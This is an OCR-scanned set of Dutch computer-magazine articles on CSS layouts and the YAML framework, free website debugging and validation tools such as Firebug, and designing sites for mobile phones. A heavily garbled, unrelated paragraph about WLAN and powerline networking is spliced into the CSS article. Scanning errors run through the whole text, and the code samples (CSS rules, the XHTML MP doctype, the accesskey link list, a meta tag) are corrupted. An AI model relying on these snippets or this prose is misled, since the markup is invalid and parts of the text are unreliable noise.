width: 471px; 

backg ro un d- im a ge: url [logo_g root.j pg); 
background-repeat: no-repeat; 

1 

Daarmee wordt de container <div id='logo"> 
in feite een afbeelding. De laatste regel is 
overbodig als de container niet groter is dan 
de afbeelding. Als dat wel het geval is, wordt 
hiermee verb indeed datde afbeelding wordt 
herhaald. 

De browser voert het script slechts een 
keer uit, namelijk tijdens het laden van de 
pagina. Als de gebruiker de venstergrootle 
vervolgens aanpast, heeft dat voor de lay¬ 
out verder geen gevolgen, Je kunt als web- 
designer wel de reslze-eigenschap in de gaten 
houden. Onder de softlink kun je hierover 
meer lezen. 



moderns generate WLAN- en poweriine - apparaten einddijk genoeg 
bandbreedte hcdt zodat je zdfe HD-^ideo Loot streamen 

Afgezten de aanidiaJkostea die in vergefijking met ethemetkaarten 
en -Labels duidelipc bogcr zijel zijn er bij de verscMende 
netwerkoplossingen ook bepaakk risicoY h meet daar wel eerst even 
goed over ttadenken vcicrdat je meteen een eompttfmaak bmnenrent 
Je knot deze apparaten vaak ook online bestelec ec als ze dan niet 
bevalkn deze conform de Wet Koop op Afstand barmen ze^en dagert 
weer otnrmien of terogsturen Zowel WLAN ab powedme eedragen 
zkh als een hub - bekk werken bkmen een 'shared medium', waarin de 
aangesloten netvv erkadapters de beschikbare zendbjd en het 
frequennebereSc moeten delem Bij een bekabeld aettverk met een 
switch, bpen meerdere overdr aebten daarentegen par aid- z onder dat de 
doonoersndbeid daalt -zokmg de pc tenmmste niet gdijkhjdig 
meerdere streaming-clients boefr aan te star err Daaroaast hangt de 
w eikeEjke doon oerscelherd steik af van de lofcde omstandgheden en 
de afetanden mssen de netwerkadapters, wat wordt bev estigd m de test 
op hh. 102-10". Em unh-ersed. addles behah e leg daar waar het kan 
tthrmetkabek aan’ lamnen we je dan ook niet ge%m We hebben wd 
een paar mirtige tips om een draadtocs n^diaom erk op te btitmm 



Met een CSS-hack kun je van een kader een echte kolom maken, die zich over de heie 
paginahoogte uitspreidt. 


YAML voor gejammer 

Het beste hulpmiddel tegen CSS-stress zijn 
kant-en-klare lay-outs en frameworks. Het 
meest prominente framework is YAML, wat 
heel bescheiden staat voor r yet another mul- 
Eicolumn layout 1 . 

YAML is te gebruiken als een blokkendoos, 
waarbij je wel enige kennis van CSS moet 
hebben. Als je een van de contentmanage- 
mentsystemen Typo3, Joomla! of WordPress 
gebruikt, heb je het nog wat makkelijker; 
voor deze programme’s zijn kant-en-klare 
YAML-modules of -themes beschikbaar die 
eenvoudig geintegreerd kunnen worden. 

Ondanks de hulp van de duizenden CSS- 
tips en tutorials die op internet circuleren, 
blijft het werken met stylesheets een on- 
gelooflljk complexe aangelegenheid. Je zit 
ingeklemd tussen de problemen met de 
verouderde CSS-specificatie en de nog ai- 


tijd aanwezige browser-bugs. Je moet dan 
ook niet zelden kiezen of je sommige fay- 
outmogefijkheden achterwege laat of op de 
geheimen van CSS-hacks vertrouwt. Met Ja- 
vaScript-aanvullmgen wordt het al heel wat 
flexibeler om websites op te maken. 

Het werken met stylesheets kan dan ook 
ai snel voor behoorlijk wat frustrate zorgen. 
Aan de andere kant krijg je een grote vrij- 
heid, die geen enkele lay-out met tabellen 
je kan bieden f nog los van de betere toe- 
gankelijkheid door bijvoorbeeld zoekma- 
chines en screen readers. Als de ergernis te 
groot wordt, dan helpt een ontspannende 
rondgang door de Zen-tuin van CSS (www. 
csszengarden.com), waar de fascinerende 
mogelijkheden van deze lay-outtaal een lust 
voor het oog zijn. (nkr) 

4 Softlink 09Wm0 


Tekst over meerdere kolommen verdelen 


Wat in tijdschriften en dagbladen de ge- 
woonste zaak van de wereld is, levert op 
internet nog steeds grote probiemen op: 
tekst over meerdere kolommen, waarbij 
de tekst gelijkmatig over het aantal kolom¬ 
men wordt verdeefd. In de oertijd van het 
WWW was daar echter al een oplossing 
voor. In 1996, rond de tijd dat het W3C de 
eerste stylesheet-specificatie publkeerde, 
Introduceerde Netscape de tag <multia)lx 
Het verplichte attribuut cols definieerde 
het aantal kolommen, waarover de des- 
betreffende tekst verdeeld moest worden. 
in tegenstelling tot een groot aantal an¬ 
dere voorstellen uit de stal van Netscape 
werd dit voorstel niet echt warm onthaald. 
Webdesigners wilden er geen gebruik van 


maken en ook Internet Explorer en het 
W3C wilden er niet aan. 

Eigenlijk was het de bedoeling dat meer- 
koloms teksten in C552 zouden worden 
opgenomen in de vorm van een column- 
attribuut. Het W3C verwijderde de alinea 
hierover echter uit de concepten. Helaas 
voor de webdesigners laat de opvolger 
CS53 nog steeds op zich wachten - de mo¬ 
dule multi-column layout (www.w3.org/ 
TR/css3-multicoO heeft inmiddels a I tien 
jaar de status van een werkvoorsteLZolang 
C553 nog niet standaard in elke browser is 
geintegreerd, zal diens voorganger nog bij 
veel webdesigners voor de nodige frustra¬ 
te zorgen. dt 
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Websitetools 


Freeware en online tools voor het debuggen van websites 

Als je het ontwerp van een website kiaar hebt, moet je het uiteraard nog 
ultvoerlg testen. Is de code wel zuiver geprogrammeerd en geschikt voor 
zoekmachines? Werken alle links? Ziet de site er in alle browsers goed uit? 
Gelukkig zijn er diverse handige, gratis tools die je daarbij kunnen helpen. 


M akers van browsers doen ongetwijfeld 
hun uiterste best om zich bij het weer- 
geven van websites aan de diverse 
standaarden te houden. Maar bij gebruik van 
de rendering engines van internet Explorer, 
Firefox en andere browsers treden deson banks 
grote verschillen op Dat heeft meer dan eens 
tot gevolg dat de ene browser een website 
zonder fouten weergeeft, terwijl een andere de 
lay-out helemaal door elkaar husselt of delen 
niet weergeeft. Of je voor het ontwikkelen 
van een site nou een grafische tool als Dream¬ 
weaver of Expression Web gebruikt of de code 
handmatig In editors zoals ViM of Notepad++ 
inklopt - geen enkele website mag online gaan 
zonder uitvoerig getest te zijn op zaken als 
browsercompatibiliteit en webstandaarden. 

Er is voor dat soort tests absoluut geen 
gebrek aan gratis programme's en online 
diensten. In Firefox 1 fijst met add-ons vind je 
in de rubriek Webontwikkelrng meer dan 350 
plug-ins [1 ]! In dst artikeJ lichten we er enkele 
parettjes uit en laten we zien wat je ermee 
kunt doen. Natuurlijk hoef je niet de hele lijst 
van Firefox af te zoeken om een extensie te 
insta Keren, want alle extensies zijn direct via 
de softlink te vindem 


Debugging 

De krachtigste tool om fouten in een web¬ 
site op te zoeken is Firebug, een add-on 
voor Firefox. Omdat deze open source brow¬ 
ser platformonafhankelijk is, is hij bijzonder 
goed geschikt als testplatform voor websites. 
Met de functietoets FI 2 kun je Firebug op elk 
gewenst moment openen en sluiten, waarbij 
Firebug in de onderste helft van het venster 
verschljnt, dus onder de geopende website. 
Met de toetsencombinatie Ctrl+F12 start de 
debugger in een eigen venster. Met Firebug 
kun je de HTML-code bekijken, CSS-dedara- 
ties onder de loep nemen, JavaScripts ana¬ 
lyse re a het Document Object Model (DOM) 
uitpluizen of de netwerkbelasting controle- 
ren. De add-on bevat ook een console voor 
log- en foutmeldingen. At deze zaken staan 
op afzonderljjke tabbladen, waartussen je 
srtel kunt wisseien. 

In de HTML-weergave krljg je de code in 
een boomstructuur te zien. Door op de knop 
’Inspect' te klikken en de muis over de web¬ 
site te bewegen, klapt Firebug het bijbeho- 
rende deel van de code open. Ajax-toepas- 
singen zijn niet zo statlsch als een gewone 


website, maar veranderen continu. Firebug 
houdt afle wijzigingen bij en highlight de ver- 
anderingen in het geel. 

In een tweede deelvenster laat Firebug 
zien welke CSS-attributen aan een bepaalde 
HTML-tag gekoppeld zijn en wat de DQM-ei- 
genschappen van het element zijn, Ook kun 
je zo grafisch inzicht krijgen in de ruimte die 
het element op de pagina inneemt, namelijk 
via het tabblad 'Opmaak'. Als je met de muis 
over deze weergave gaat, plaatst Firebug li- 
nialen langs de randen van dat deel van de 
website. Er verschijnen ook hulplijnen over 
de gehele lengte en breedte. Deze helpen je 
om de elementen tot op de pixel precies te 
positioneren. 

In de CSS- en de JavaScnpt-weergave 
toont Firebug een complete listing van alie 
lay-outcodes en scripts die op de site voor- 
komen. in de DQM-weergave krijg je een lijst 
van alle DOM-elementen. Objecten en func- 
ties die door scripts worden gegenereerd 
worden daarbij als eerste getoond. 

Je kunt de getoonde code, of dat nu HTML, 
CSS of JavaScript is, niet alleen bekijken maar 
ook snel bewerkem De bijbehorende attri- 
buten kun je direct bewerken door er op te 
klikken. Daar waar dat kan, bijvoorbeeld bij 
de DOM-weergave, werkt dat met automa- 
tische aanvulfing (autocompletion). Via het 
sneimenu kun je ook een editor aanroepen, 
waarbij Firebug de aangebrachte wijzigingen 
meteen laat zien, Dif is een ideale manier om 
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de laatste details van je site nog even snel bij 
te werken. Firebug is eehter geen volwaardi- 
ge editor en is dan ook geen vervanger voor 
een ontwikkeiomgeving. 

Het tabblad ’Net' biedt een gedetailleerd 
overzicht van de netwerkactiviteit die de site 
veroorzaakt. Zo krijg je a Is webmaster een 
goed beeld van aile objecten die voor de 
website gedownload moeten worden, inclu- 
sief de grootte en hoe lang het downloaden 
daarvan duurt. Hiermee kun je dus in een 
oogopsiag zien hoe groot de site in zijn tota- 
liteit is, hoe Jang hij er over doet om te laden 
en welke objecten er het iangst over doen. 
A!s je op een element klikt, krijg je het HTTP- 
verkeer met de Webserver te zien. Je kunt het 
overzicht ook beperken tot objecten van een 
bepaald type, zoals HTML, CSS, JavaScript af- 
beeldingen, Flash of XMLHttpRequests, Ook 
het overzicht van het netwerkverkeer wordt 
continu bijgewerkt, waardoor deze weergave 
prima geschikt is om Ajax-toepasssingen te 
analyseren. 

De console voor het loggen van foutmel- 
dingen dient niet alleen voor het bekijken 
van fouten in de HTML, CSS of andere code, 
maar kan ook gebruskt worden voor het ge- 
richt debuggen van JavaScript-toepassingen. 
Firebug heeft daarvoor een eigen object ge- 
naamd console. Met de code 

ccmsole,log('te$t dit’J 

kan een script een bericht naar de console 
wegschrljven. 

Op die manier kun je ook variabeten en 
DOM-efementen opvragen. Een gestructu- 
reerd object wordt dan niet met een waslijst 
aan tekst weergegeven, maar als een link 
naar de respectievelijke weergaven. Als je 
daarop klikt, kom je op het betreffende tab¬ 
blad van Firebug uit 

Last but not least heeft het JavaScript-dee! 
een debugger. Door op een regelnummer in 
de code te klikken, zet je automatisch een 
breakpoint. Je kunt de programma-uitvoer 


- 
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Met Firebug kun 
jealswebdesigner 
de broncode niet 
alleen inzien, maar 
ookterplekke 
bewerken en de 
gevolgen meteen 
bekijken. 


ook onderbreken 
als aan een be- 
paalde voorwaarde 
is voldaan, Firebug 
biedt eehter nog 
veel meer handige 
tools, bijvoorbeeld 
de fynctie Quick 
Search, waarmee je 
op alie tabs naar een 
bepaald trefwoord 
kunt zoeken. 

Handgereedschap 


De Web Developer Toolbar is een goede aan- 
vulling op Firebug. Deze laatste heeft welis- 
waar veel meer functies voor bijvoorbeeld het 
weergeven van CSS en JavaScipt, maar deWeb 
Developer Toolbar heeft een paar handige ex¬ 
tra's. Zo kun je bijvoorbeeld het browserven- 
ster verkleinen tot 800 x 600 pixels of een link 
online laten valideren, bijvoorbeeld met de 
HTMLValidatorvan het W3C. 

Voor de dingen die Firebug en Web Deve¬ 
loper Toolbar zelf niet goed - of heiemaal niet 
- kunnen, kun je extra add-ons, aparte toepas- 
singen of online tools gebruiken. Firebug kan 
links op een pagina bijvoorbeeld niet automa¬ 
tised tester De Web Developer Toolbar ge- 
bruikt daar de langzame Link Checker van het 
W3C voor, maar de add-on Link Evaluator kan 
dat een stuk snelier. De links die werken, wor¬ 
den groen weergegeven en de links die het niet 
doen, worden rood. Ats er andere problemen 
met een hyperlink op- 
treden, wordt dat met 
geel aangegeven. Als 
je na de controle met 
de muis over een link 
beweegt, krijg je via 
een bubble-pop-up 
het resultaat van de 
test te zien. 

Link Evaluator 
gebruikt meerdere 
threads om de links 
op een pagina snel te 
verwerken. To eh kan 
het controleren van 
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Het netwerkover- 
zicht van Firebug 
laatduidelijkzien 
wat de down¬ 
loaded van de 
afzonderlijke pagi- 
naonderdelen is. 


een groot aantal links wet een paar minuten 
duren. Als je regel mat! g een grote hoeveelheid 
links of een complete site meet controleren, 
kun je beter een beroep doen op een gespe- 
cialiseerd program ma zoals Xenu's Link Sleuth, 
Dit Windows-programma controvert finks met 
maximaal 100 threads tegelijk en maakt daar 
vervolgens een gedetailleerd rapport van. 

Firebug iogt het HTTP-verkeer we!, maar kan 
daar verder niets mee. Met LiveHTTPHeaders 
kun je het verkeer nader bekijken. Als je een 
request een paar maal herhaalt met versthil- 
lende parameters, kun je nagaan wat er ge- 
beurt. Je kunt specifiek kijken naar bepaalde 
bestandstypen (afbeeldingen of CSS) of naar 
de paginastatus (redirects, invalids). Ook kun je 
url's met reguliere expresses filtersn. 

De HTML Validator van W3C, die door de 
Web Developer Toolbar wordt opgeroepen, 
heeft enkele beperkingen en houdt weinig 
rekening met de praktische wensen van een 
webdesigner, Het program ma Tidy is meer 
p ra ktij kg e richt Dit prog ram ma komt oor- 
spronkelijk ook van W3C af, maar is daarna in 
verschillende vananten doorontwikkeld. Een 
daarvan is de HTML Validator, een add-on 
voor Fi refox. In de standaardinstelling wordt 
iedere site op de achtergrond onderzocht, 
Omdat Fi refox hierdoor behoorlijk wordt ver- 
traagd, wil je de Validator waarschijnlijk alleen 
inschakelen als je hem echt nodig hebt Als je 
naar de broncode van de pagina gaat, krijg je 
een in drieen gedeeld venster. Bovenaan zie 
je de broncode, linksonder een overzicht van 
aangetroffen fouten en waarschuwingen en 
rechtsonder krijg je bij elke foutmelding een 
toelichting - inclusief links naar een online re- 
ferentiesysteem met uitgebreidere informatie. 
Ook krijg je tips over wat er verkeerd zou kun- 
nen zijn en hoe het anders zou kunnen. 

Op dit moment is Validome eehter het neus- 
je van de zalm als het gaat om het controleren 
van HTML, CSS en XML [2]. In vergelijking met 
de Validator van W3C kan deze beter overweg 
met XML- en XHTML-bestanden en vindt hij 
fouten die andere tools niet vinden. De aanwij- 
zingen zijn duidelijk en linken daar waar moge- 
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Blijkbaar zijn ook andere browsers erachter 
gekomen dat Firebug uitermate bruikbaar 
is. Voorzowel Internet Explorer, Opera, Safari 
en Chrome bestaat een kloon van deze uit- 
breiding. De ontwikkelprogrammas in Inter¬ 
net Explorer 8 hebben veel weg van Firebug. 
Bij oudere versies van Internet Explorer kun 
je de Internet Explorer Developer Toolbar 
vanaf de Microsoft-website installeren. In 
Opera kom je via Extra / Geavanceerd / Ont- 
wikkelgereedschap in de toepassing Dra¬ 
gonfly terecht Dragonfly is niet vast in de 
browser ingebouwd, maar wordt vanaf de 
Opera-server geladen. Verder heeft Chrome 
in het Gntwikkelaar-menu onder andere 
een JavaScrlpt-console, debugger en een 
DOM-browser. Tenslotte kun je in Safari het 
ontwikkelmenu in de menubafk aaiveren 
bij Voorkeuren / Geavanceerd. Klik je in het 
Ontwikkel menu op 'Webinfovenster 1 , dan 
verschijnter een Firebug-kloon. 


De tools laten onder 
andere de DOM-struc- 
tuur van de pagina 
zien en bieden de mo- 
gelijkheid om met een 
klik op de website de 
boom open te klap- 
pen. Daarnaast zijn er 
enkele tools, zoals bij 
Internet Explorer bij- 
voorbeeld een outliner 
voor tabelcellen, div- 
of andere elementen. 

Vanaf Internet 
Explorer 8 zit er 
een gei'ntegreerde 
ontwi kke lo mg e vin g 
in de browser die 
veel weg heeftvan 
Firebug. 



lijk naar de W3C-richtlsjnen. Je kunt de header- 
data bekijken en doen alsof je de website met 
een bepaalde browser bekijkt.Tevens kun je de 
broncode en de documentstructuur laten zien. 
Stylesheets kun je helaas niet valideren, maar 
wel WML-pagina r s, XML-bestanden van allerlei 
allooi, newsfeeds, Google-maps en DTD's. 

Maar de beste en mooiste website is waar- 
deloos als hij niet door een zoekmachine 
wordt gevonden. Daarom noemen we hier 
enkele tools die je daarbij kunnen helpen. Dat 
zijn wefiswaar geen volwaardige SEO-suites 
{Search Engine Optimization) zoals de Inter¬ 
net Business Promoter, maar ze kunnen er wel 
voor zorgen dat je de grootste fouten voor- 
komt Zo bekijkt Seekbot, een gratis dienst 
van de zoekmachine Seekport, je website van- 
uit het oogpunt van een zoekmachinespider 

[3]. In het Google Centrum voor webmasters 
staan een aantal tips en trues, maar ook een 
sitemapgenerator die het doorzoeken van de 
paginal van een website voor zoekmachine- 
robotsvereenvoudigt [4]. 

Ook online bestaan veel handige tools voor 
bepaalde aspecten van het optimaliseren voor 
zoekmachines. Bij SEO Tools vind je onder de 
naam Keyword Density een tool voor het be- 
rekenen van de dichtheld van trefwoorden, 
dus hoe vaak bepaalde woorden op een web- 
pagina voorkomen. Verder 3aat Backlink Spi¬ 
der zien hoe je site het over een langere tijd 
heeft gedaan: hoeveel websites linken naar 
jouw site - een belangrijk criterium bij het be- 
rekenen van de ranking. De extensie SEO for 
Firefox achterhaalt hoeveel backlinks er van 
domeinen komen die door zoekmachines 
vertrouwd worden, zoals Wikipedia of Open 
Directory. Bovendien berekent de tool belang- 
rijke parameters zoals Google's Page Rank. 

Browsercompatibiliteit 

Natuurlijk is het testen van je website met 
Firefox en een aantal ultbreidingeo niet te 


vergelijken met een controle door a lie brow¬ 
sers die eventueel gebruikt zouden kunnen 
worden. Alleen als je je pagina's ook met 
Internet Explorer, Opera, Konqueror en der- 
gelijke test, weet je zeker dat ze ook in die 
browsers werken, Als je toegang hebt tot 
de bezoekgegevens van je website, kun je 
ook achterhalen welke browsers er door je 
bezoekers gebruikt worden en in welke per¬ 
centages. 

Opera en Firefox zijn voor a lie pla tforms 
gratis beschikbaar. Met de Firefox-extensie 
Launchy kun je een pagina die je in Firefox ge- 
opend hebt snel in een andere browser ope- 
nen, waaronder Opera en Internet Explorer. 
Met IE Tab kunjede rendering engine van de 
Microsoft-browser in Firefox gebruiken. 

Maar IE Tab en Launchy kunnen siechts 
een versie van Internet Explorer opstarten, En 
terwijl Internet Explorer 8 onlangs is uitgeko- 
men, zijn naast de vorlge versie 7 ook versie 
6 (19 procent) en oerversie 5 (3 procent) nog 
in omioop, 

Het is dan ook aan te raden je website niet 
alleen met Internet Explorer 8 te testen, maar 
ook met diens voorgangers. Dat is vrij eenvou- 
dig op te lossen met de freeware MuitlplelEs. 
Deze tool installeert maximaai vijf verschil- 
lende versies, beginnend bij de oerversie 3.0. 
Onder Linux doet IEs4L3nux bijna hetzelfde. 
Met een muisklik worden zonder veel omhaal 
de Internet Expforer-versies 5 f 5.5 en 6 ge'in- 
stalleerd 

Als je het jezelf makkeiijker wilt maken en 
geen zin hebt om tig browsers te installeren, 
gebruik je een online service. Browsershots 
I evert statische screenshots van je website. 
Je hebt de keuze uit meer dan vljftig ver¬ 
schillende browserversies met verschillende 
platforms. Daarbij kun je een aantal parame¬ 
ters meegeven: de schermresolutle en kleur- 
diepte, of er JavaScript gebruikt mag worden 
(en welke versie), of Java foegestaan is en of 
Flash-animaties gebruikt mogen worden. De 


screenshots worden niet meteen gemaakt, 
want alles komt in een wachtrjj terecht. Het 
kan soms wel een uur duren voordat je afbeel- 
dingen klaar zijn. De statische screenshots die 
dat uiteindelijk oplevert, zijn natuurlijk niet 
geschikt voor een live-innpressie, maar laten 
wel zien of je website er een beetje toonbaar 
uitziet in een meer exotische browser. 

Al heb je nog zo je uiterste best gedaan 
om de website zo browseronafhankelijk en 
vaEide mogelijk te maken, het kan altijd ge- 
beuren dat je website traag is en dat de pa¬ 
ginal heel langzaam opgebouwd worden. In 
dat geval kan YSlow je helpen. YSlow is een 
Firefox-extensie die gebruik maakt van Fire¬ 
bug. Hij geeft extra informatie over de delen 
van je site die veel tijd vergen. Hierdoor kun 
je makkelijk achterhalen wear bij het laden 
van je site de knelpunten zitten. Heb je bij- 
voorbeeid veei grote afbeeldingen, doe je 
veel HTTP-requests of staat je JavaScript 
helemaal boven in je code? Analoog aan de 
energielabels voor elektrische apparaten en 
hulzen krijg je een beoordeling tussen A en F 
overde 'zuinigheid 1 van je website. (nkr) 

Literatuur 

[1] Add-ons voor Firefox: https://addons.mozilla.org/ 
nt/fi refox 

[ZjValidome, online valideren van HTML, CSS en 
XML, www.vaiidome.org 

[3J Seekbot, websitetest van uit het oogpunt van 
een zoekmachinerobot, www.seekport.co.uk/ 
seekbot/ 

[4] Google Centrum voor webmasters, www.google. 
nl/web masters 

[5] SEO Tools, hulpmiddelen voor het optimaliseren 
voor zoekmachines, www.seochat.com/seo- 
tools 

[6] Browsershots, maak een screendump van je 
website in allerlei verschillende browsers, http:// 
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Herbert Braun 


Het mobiele web 


Websites voor mobiele apparaten zelf maken en testen 


Slimme apparaten en goedkope datatarieven maken mobiel internet steeds 
aantrekkelijker voor de consument.Tijd dusom je website klaar te stomen 
voor mobiel bezoek! 


D oorde groeiende populanteit van mo¬ 
de rne smartphones heeft mobiel inter- 
netgebruik een flinke vlucht genomen. 
Volgens een onderzoek van Forrester Re¬ 
search maken zo'n 2,8 miljoen Nederlanders 
regelmatig gebruik van Internet via hun mo- 
bieltje, Dlt aantal gebruikers lijkt de komende 
tijd nog wel even te blijven groeien. Toch kan 
een mobiel bezoekje aan je eigen website 
nogal tefeursteliend uitvallen. Frames, tabef- 
len, grote afbeeldingen en een menu zien er 
op een 19"-scherm via een goedkope, snelle 
internetverbi riding nog goed uit, maar op een 
mobiel tje is het een onoverzichtelljke war bo el 
waar niemand blij van wordt. 

Voordat je uberhaupt een regel code gaat 
intypen, zul je moeten bedenken of je een 
bestaande site wilt aanpassen of juist een pa~ 
rallelle site wilt gaan onderhouden, Dit is een 
nogal omstreden kwestie. Het Mobile Web 
Initiative van het World Wide Web Consor¬ 
tium (W3C MWI) pleit in haar 'Best Practices' 
geheel conform het W3C-motto 'One Web' 
voor de grootste gemene deier tussen de mo¬ 
biele browser en die van de desktop [1], De 
kans daarop is niet onaanzieniijk, aangezien 
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de moderns mobiele browsers in iedergeva! 
belangrijke del en van XHTML en CSS onder- 
steunen. 

Hiertegen neemt een van de bekendste ex¬ 
perts op dit gebied, Luca Passani, stelling met 
zijn richtlijnen in 'Global Authoring Practices 
for the Mobile Web' (GAP) [2]. Volgens hem is 
het verschil tussen de verschillende apparaten 
en de gebruikerseisen gewoonweg te greet. 
En dus pleit hij fervent voor het aanpassen 
van de content van websites aan het type ap- 
paraat dat die content opvraagt van de server 
('content adaptation' of 'Mu ltiserving’). 

In de praktijk valt er voor beide uitgangs- 
punten wel wat te zeggen, De ideate me- 
thode hangt af van het beschikbare budget, 
de scope en de complexlteit van de website. 
Door de web browsers van bezoekers te iden- 
tificeren met behulp van browser-sniffing en 
dergelijke trues, kun je mobiel surfen wel een 
stuk aangenamer maken. 

Taal en stijl 

Als de keuze valt op een paralfelle website, 
dan heeft XHTML MP (Mobile Profile) de 


voorkeur. Deze taal is ontworpen door de 
standaardisatieorganisatie Open Mobile Alli¬ 
ance (OMA) [3], die voorheen als WAP Forum 
door het leven glng, XHTML MP Is als onder- 
deel van WAP 2 de opvolger van WML (WAP 
1) en is haast identiek aan de W3C-standaard 
XHTML Basic. 

Het feit dat de OMA een vast plekje in de 
websitebranche heeft verworven, zorgt er 
voor dat XHTML MP in de praktijk bruikbaar is. 
In vergelijklng met standaard XHTML zijn een 
aantal complexe onderdelen weggelaten, wat 
de zaak voor webdesfgners aanzienlijk ver- 
eenvoudigt. De paginastructuur, metadata, 
stylesheet-embedding, links, lijsten, afbeeL 
dingen en multlmediaobjecten zijn hetzelfde, 
Ook worden de meeste tekstelementen en 
simpele label len en formutieren ondersteund. 
Wel zu! je het zonder oudere elementen als 
<font> en frames moeten stellen. XHTML MP 
1.0 stood het gebruik van JavaScript nog niet 
toe, maar dat probleem is in de iaatste versie 
1.1 uit 2006 verholpen. 

Een XHTML MP-site (hier versie 1.1) wordt 
met het volgende documenttype gedecla- 
reerd: 
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c?D0CTYPE htmt PUBLIC "-//WAPFORUM//DTD XHTML 
Mobile 1.1 //EN" "'http://www,o penmobileaLLiance.org/tedi/ 
DTD/KhtmL-mobiLe11.dtd"> 

Het in de specificatie opgenomen advies om 
pagtna’s een XML-M1M E-type mee te geven 
(in dit geval application/vnd.wap.xhtml+xml) 
kennen we al van standaard XHTML Toth 
houdt praktisch niennand zich hieraan r aan- 
gezien Internet Explorer zulke paginal tot nu 
toe weigert weer te geven. Wat dat betrefl ziet 
het er in de mobiele were Id verbazingwekkend 
genoeg beter uit; de gang bare browsers, waar- 
onder Internet Explorer Mobile, rend ere n der- 
gelijke XHTML MP-pagina's wel. 

Niet alleen van XHTML bestaat een mobiele 
versie. De OMA werkt ook aan een afgeslankte 
standaard voor CSS en JavaScript. Zo zijn voor 
WCSS (oorspronkelijk WAP CSS, nu Wireless 
CSS) de meest gangbare CSS-eiementen gese- 
lecteerd en is er afstand gedaan van spraak- en 
printopdrachten en een aantal geavanceerde 
pos it i on eri n g sei gen sch a ppea 

Ook hter heeft het W3C een eigen concept, 
verwarrend genoeg onder de naam CSS Mo¬ 
bile Profile {CSS MP}. Het onderscheid is hier 
meer academisch van aard. Het van JavaScript 
afgeleide ECMAScript MP [afgekort ESMP) 
stamt wederom van de OMA. Het lijkt zoveel 
op het standaard JavaScript, dat ESMP in de 
praktijk geen rol speelt 

Richtlijnen 

De uitdaglng van een website die geschikt 
moet zijn voor mobiettjes zit dus niet aan de 
technische kant. Het probleem is juist de com¬ 
plex gestructureerde content met een flink 
aantal afbeddingen en interactieve inhoud 
van een a I bestaande website. Want hoe maak 
je die toegankelijk voor een apparaat met een 
resotutie van 100 x 120 pixels en een tragere, 
dure internetverbinding, slechte kleurweerga- 
ve en zonder muis en toetsenbord? 

De al genoemde richtlijnen van het W3C 
MW1 BP en Luca Passani's GAP kunnen je hel- 
pen ter orsentatie, Ook de mTLD uit Dublin 
(http://mtld.mobi/}, die de registratie van de 
voor mobiel gebruik geschikte xnobi-domei- 
nen verzorgt, heeft hierover nagedacht en 
twee richtlijnen uitgewerkt. 

Een aantal van de ergste valkuilen zijn zo 
vanzeifsprekend dat we er niet veel woorden 
aan vutl hoeven te maken: geen frames, geen 
imagemaps, geen splashscreens, geen pop- 
ups, slechts weinig en kleine afbeeldingen, 
korte, bondtge teksten, krachtige paginatiteLs 
en een consistent, efficient menu. A Is je je daar 
niet aan houdt, zullen weinig mobiele surfers 
een bezoek aan je site op prijs stellen. Daarom 
hanteert Luca Passani de leidraad dat de vol- 
ledige grootte van een pagina inclusief afbeel- 
dingen, stijlen en scripts niet boven de 10 k8 
uit mag komen, 

Webdesigners hebben al tijden te maken 
met dit soort adviezen, maar voor mobiele 
websites zyn die des te belangrjjker. Zo ontzlet 
een gevalideerde, slanke, als XML uitgeleverde 
pagina een minder krachtige mobiele proces¬ 
sor bij het weergeven, terwijl lay-outtabellen 


juist veef rekenkracht vergen. En als een mobiel 
apparaatje deze laatste op eigen houtje ver- 
werkt, is het resultaat meestal niet bepaald een 
lust voor het oog* Een complexe CSS-lay-out is 
dan geen alternatief omdat browsers de positi¬ 
oners ng sin structies niet altijd serieus nemen. 

Bij een mobiele website gaat er niets boven 
een eenvoudige opbouw. Het meest overzich- 
telijke is het als je maar in een richting (verti- 
caal) hoeft te scrollen. Er circuleren nogal wat 
controversies ideeen over de vraag of het 
hoofdmenu boven of onder aan de pagina 
moet staan, Het is belangrijker dat je niet af- 
wijkt van de eenmaal gekozen lay-out. Je kunt 
het aantal links het best overzichtelijk horn 
den, met de belangrijkste bovenaan. Niet elke 
pagina hoeft bijvoorbeeld een link naar 'Over 
ons' ’Contact' of FAQ 1 te hebben. Als je min¬ 
der dan tien Links hebt, dan kun je die direct 
met een druk op een cijfertoets oproepen, bij- 
voorbeeld via een genummerde lijst waarbij 
elke link aan een cijfer gekoppeld is: 

<ol> 

<Lixa href—'“producten.htm L' 1 accesskey='T'>Producten/ 

</ax/li> 

<Lixa href='"nieuw.htrril" actesskey= '2 ">Nieuw/ 

</ax/li> 

<lixa href=" contact.html" accesskey= pl 3 1 ' >Contact ^ 

</a></li> 

<M> 

Als de browser dat ondersteunt, navigeer 
je met een druk op de 3 zo naar de contact- 
pagina. Die sneltoetsen hoeven niet eens in 
XHTML te staan, met de WCSS-eigenschap 
-wap-accesskey kan dit ook, 

Kleuren, links en url's 

Kleur als vormgevingsmiddel is alleen met grote 
omzichtigheid te gebruiken. Monochrome dis¬ 
plays zijn zo langzamerhand wel een zeldzame 
verschijning geworden, maar de kleurnuances 
van mobiele apparaten kunnen niettippen aan 
die van een desktopmonitor, zeker niet bij fel 
orngevingslicht, Achtergrondafbeeldingen ven 
minderen de leesbaarheid Als je afbeeldingen 
op een pagina gebmlkt, help je de browser bij 
het opbouwen van de pagina door van tevo- 
ren per afbeelding width en height aan te geven. 
Het kan natuurlijk ook gebeuren dat een tus- 
senllggende proxy (zoals bij Opera Mini) de af¬ 
beeldingen om laag schaalt voordat die naar je 
mobiel worden gestuurd, 

Als er zowel een webversie als een mobiele 
variant van je site bestaat, is een ondedinge 
link een handige service. Op steeds meer mo¬ 
biele apparaten zitten desktopbrowsers, zodat 
de grenzen vervagen. De iPhone en de EeePC 
verschillen onderling niet veel in processor- 
kracht en schermformaat, Ook identiflceren 
veel websites de gebruikte browser niet cor¬ 
rect, Een voorbeeld is www + mobiSiteGa!ore 
com, die desktopversies van Opera voor de 
mobiele variant aanziet zonder dat je daar lets 
aan kuntdoen. 

Bij het invoeren van een url is elk extra in 
te voeren teken er een teveel. Vandaar dat het 
wenselijk is als een webadres ais www,example + 


com ook onder example,com te bereiken is. 
Dan zouden mxxamplexom, examplexom/m 
of example,mobi efficiente adressen kunnen 
zijn voor de mobiele versie. 

Cache en formulieren 

Om de te versturen datahoeveelheden klein 
te houden, maken zowe! mobiele als desktop- 
browsers gebruik van caching, HTTP-headers 
als Expires en Cache Control (dan wel hun 
equivalenten in de HIML-paginaheader) heb¬ 
ben invloed op dit gedrag: 

cmeta http-equiv^"Last-Modified" content='Mon, 10 Aug/ 
2009 14:00:00 GMTY> 

